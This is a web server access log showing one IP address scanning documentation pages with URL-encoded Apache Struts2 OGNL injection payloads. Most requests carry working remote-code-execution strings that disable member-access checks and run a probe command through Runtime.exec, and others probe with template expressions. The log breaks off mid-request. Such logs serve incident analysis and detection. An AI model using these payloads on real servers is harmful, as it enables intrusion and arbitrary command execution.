222.186.180.34 - - [26/May/2023:05:56:58 +0530] "GET /docs/appdev/introduction.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:56:59 +0530] "GET /docs/appdev/introduction.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1466
222.186.180.34 - - [26/May/2023:05:57:00 +0530] "GET /docs/appdev/introduction.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1702
222.186.180.34 - - [26/May/2023:05:57:01 +0530] "POST /docs/appdev/introduction.html HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:57:02 +0530] "POST /docs/appdev/introduction.html HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:57:02 +0530] "POST /docs/appdev/introduction.html HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:57:04 +0530] "POST /docs/appdev/introduction.html HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:57:05 +0530] "GET /docs/appdev/introduction.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:57:06 +0530] "GET /docs/appdev/introduction.html/%24%7B4224246%2B1177666%7D/index.action HTTP/1.0" 404 1132
222.186.180.34 - - [26/May/2023:05:57:06 +0530] "GET /docs/appdev/introduction.html HTTP/1.0" 200 7219
222.186.180.34 - - [26/May/2023:05:57:09 +0530] "POST /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:10 +0530] "GET /docs/appdev/installation.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:11 +0530] "GET /docs/appdev/installation.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:12 +0530] "GET /docs/appdev/installation.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:13 +0530] "POST /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:14 +0530] "GET /docs/appdev/installation.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1082
222.186.180.34 - - [26/May/2023:05:57:15 +0530] "GET /docs/appdev/installation.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2078
222.186.180.34 - - [26/May/2023:05:57:16 +0530] "GET /docs/appdev/installation.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2078
222.186.180.34 - - [26/May/2023:05:57:17 +0530] "GET /docs/appdev/installation.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:18 +0530] "GET /docs/appdev/installation.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1782
222.186.180.34 - - [26/May/2023:05:57:19 +0530] "GET /docs/appdev/installation.html?redirect%3A%24%7B6419923%2B6254950%7D HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:20 +0530] "GET /docs/appdev/installation.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:21 +0530] "POST /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:22 +0530] "GET /docs/appdev/installation.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:23 +0530] "GET /docs/appdev/installation.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1466
222.186.180.34 - - [26/May/2023:05:57:24 +0530] "GET /docs/appdev/installation.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1702
222.186.180.34 - - [26/May/2023:05:57:25 +0530] "POST /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:26 +0530] "POST /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:27 +0530] "POST /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:28 +0530] "POST /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:29 +0530] "GET /docs/appdev/installation.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:30 +0530] "GET /docs/appdev/installation.html/%24%7B5895412%2B8410896%7D/index.action HTTP/1.0" 404 1132
222.186.180.34 - - [26/May/2023:05:57:30 +0530] "GET /docs/appdev/installation.html HTTP/1.0" 200 7150
222.186.180.34 - - [26/May/2023:05:57:32 +0530] "POST /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:35 +0530] "GET /docs/appdev/deployment.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:36 +0530] "GET /docs/appdev/deployment.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:38 +0530] "GET /docs/appdev/deployment.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:39 +0530] "POST /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:40 +0530] "GET /docs/appdev/deployment.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1078
222.186.180.34 - - [26/May/2023:05:57:42 +0530] "GET /docs/appdev/deployment.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2074
222.186.180.34 - - [26/May/2023:05:57:43 +0530] "GET /docs/appdev/deployment.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2074
222.186.180.34 - - [26/May/2023:05:57:44 +0530] "GET /docs/appdev/deployment.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:45 +0530] "GET /docs/appdev/deployment.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1778
222.186.180.34 - - [26/May/2023:05:57:46 +0530] "GET /docs/appdev/deployment.html?redirect%3A%24%7B2467564%2B1322882%7D HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:47 +0530] "GET /docs/appdev/deployment.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:49 +0530] "POST /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:50 +0530] "GET /docs/appdev/deployment.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:51 +0530] "GET /docs/appdev/deployment.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1462
222.186.180.34 - - [26/May/2023:05:57:52 +0530] "GET /docs/appdev/deployment.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1698
222.186.180.34 - - [26/May/2023:05:57:53 +0530] "POST /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:54 +0530] "POST /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:56 +0530] "POST /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:58 +0530] "POST /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:57:59 +0530] "GET /docs/appdev/deployment.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:58:00 +0530] "GET /docs/appdev/deployment.html/%24%7B7736731%2B6894465%7D/index.action HTTP/1.0" 404 1128
222.186.180.34 - - [26/May/2023:05:58:01 +0530] "GET /docs/appdev/deployment.html HTTP/1.0" 200 15963
222.186.180.34 - - [26/May/2023:05:58:04 +0530] "POST /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:05 +0530] "GET /docs/appdev/source.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:07 +0530] "GET /docs/appdev/source.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:09 +0530] "GET 